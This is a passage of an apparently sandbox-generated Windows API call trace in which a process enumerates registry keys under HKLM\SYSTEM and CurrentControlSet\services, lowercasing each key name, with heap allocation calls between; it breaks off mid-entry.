[0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.201] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0255.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.201] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.201] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0255.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.204] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.204] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.204] RegCloseKey (hKey=0x148) returned 0x0 [0255.204] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.204] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.205] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.205] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.205] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0255.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.206] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.206] RegCloseKey (hKey=0x150) returned 0x0 [0255.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0255.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net 